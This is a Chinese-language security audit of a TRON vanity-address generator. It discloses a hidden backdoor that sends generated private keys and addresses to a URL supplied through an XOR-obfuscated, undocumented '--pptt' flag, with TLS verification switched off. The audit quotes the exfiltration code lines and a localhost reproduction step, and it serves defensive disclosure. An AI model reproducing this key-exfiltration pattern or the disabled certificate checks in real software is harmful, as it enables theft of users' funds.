🇨🇳 中文 • 🇺🇸 English • 🇯🇵 日本語 • 🇰🇷 한국어 • 🇮🇳 हिन्दी • 🇪🇸 Español • 🇸🇦 العربية • 🇷🇺 Русский
审计范围1:https://github.com/sodasord/profanity-tron
审计范围2:https://github.com/sponsord/profanity-tron
审计范围3:2026年4月25换号:https://github.com/GenTronx/gpu
看雪分析:https://bbs.kanxue.com/thread-289060.htm

结论摘要:本目录源码内存在一条可将“生成的私钥 + 地址”通过网络发往任意 URL 的逻辑路径,并且通过未在帮助信息/README公开的隐藏参数进行启用;同时该网络请求还存在 TLS 校验被显式关闭 等高风险实现。以上属于“上传私钥/暗桩接口”的明确证据。
位置:[Dispatcher.cpp:L378-L403]
核心代码点:
- 将私钥与地址拼接到查询字符串:
sendData = "privatekey=" + privateKey + "&address=" + address;[Dispatcher.cpp:L381]sendUrl = postUrl + "?" + sendData;[Dispatcher.cpp:L382]
- 使用 libcurl 发起网络请求:
curl_easy_setopt(curl, CURLOPT_URL, sendUrl.c_str());[Dispatcher.cpp:L387]
这意味着:只要 postUrl 被设置为非空字符串,程序就可以把**私钥(privatekey)与地址(address)**作为网络请求参数发送出去。
位置:[Dispatcher.cpp:L405-L452]
关键代码点:
printResult(...)生成并打印:strPrivate(私钥)与strPublicTron(地址)[Dispatcher.cpp:L430-L443]
- 若
postUrl非空则调用postResult:if(!postUrl.empty()) { postResult(strPrivate, strPublicTron, postUrl); }[Dispatcher.cpp:L449-L451]
并且该 printResult(...) 会在发现结果后被调用:
printResult(..., m_outputFile, m_postUrl);[Dispatcher.cpp:L454-L482],尤其 [L476]
结论:只要 m_postUrl 被设置为非空,程序会在命中靓号结果时自动尝试外发 privatekey 与 address。
位置:[profanity.cpp:L163-L166]
关键代码点:
_s初值为{113, 113, 117, 117, 0},即 ASCII"qquu"- 循环对每个字符异或
1:_s[_k] ^= 1;[profanity.cpp:L164] - 异或后字符串变为
"pptt"(因为'q'(113)^1='p'(112),'u'(117)^1='t'(116)) - 注册命令行参数:
argp.addSwitch('p', _s, __x9);[profanity.cpp:L165]
因此,程序实际支持的参数为:
- 短参数:
-p <value> - 长参数:
--pptt <value>
位置:[profanity.cpp:L307]
关键代码点:
Dispatcher d(..., outputFile, __x9);
同时在 Dispatcher 定义中确实存在 m_postUrl 字段(表明这是一个“设计过的外部输入通道”):
std::string m_postUrl;[Dispatcher.hpp:L116-L117]
help.hpp 仅列出 --output/--matching/... 等,没有 --pptt 或 -p:
- [
help.hpp]
README.md 的命令介绍同样未出现该参数:
- [
README.md]
结论:这里不是“正常公开功能”,而是通过混淆字符串 + 不在帮助文档中公开的方式隐藏了一个“上传 URL 注入入口”。
位置:[Dispatcher.cpp:L387-L392]
关键代码点:
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);[Dispatcher.cpp:L390]curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);[Dispatcher.cpp:L391]
这会导致:当 postUrl 是 https://... 时,客户端不会验证证书与主机名,存在被劫持、被代理、被伪造证书拦截的风险。
目标:证明“参数可启用外发且包含 privatekey”。
- 在本机起一个 HTTP 服务并记录访问日志(仅用于本机)
- 运行程序时加入隐藏参数,指向本机 URL,例如:
-p http://127.0.0.1:8080/collect- 或
--pptt http://127.0.0.1:8080/collect
当程序命中结果并打印 Private: 后,会发起一次对如下形式 URL 的访问(示例形态):
http://127.0.0.1:8080/collect?privatekey=<hex>&address=<base58>
对应构造路径见:[Dispatcher.cpp:L381-L387]。
在本目录可见 Dispatcher::Device::createSeed() 等函数在 README 被提及,但本目录源码中仅找到声明,未找到实现(至少在当前文件集合内未出现对应定义)。这会影响“源码可独立完整编译复现”的可信度与可审计性:
- 声明:[
Dispatcher.hpp:L36-L41]
- 存在“私钥+地址外发”实现:确认
- 存在隐藏/混淆参数用于启用外发:确认
- 外发实现关闭 TLS 校验:确认
以上三点组合在一起,属于“生成密钥后上传等隐藏接口”的明确实锤。该逻辑不应出现在任何宣称“安全透明”的靓号生成器中。
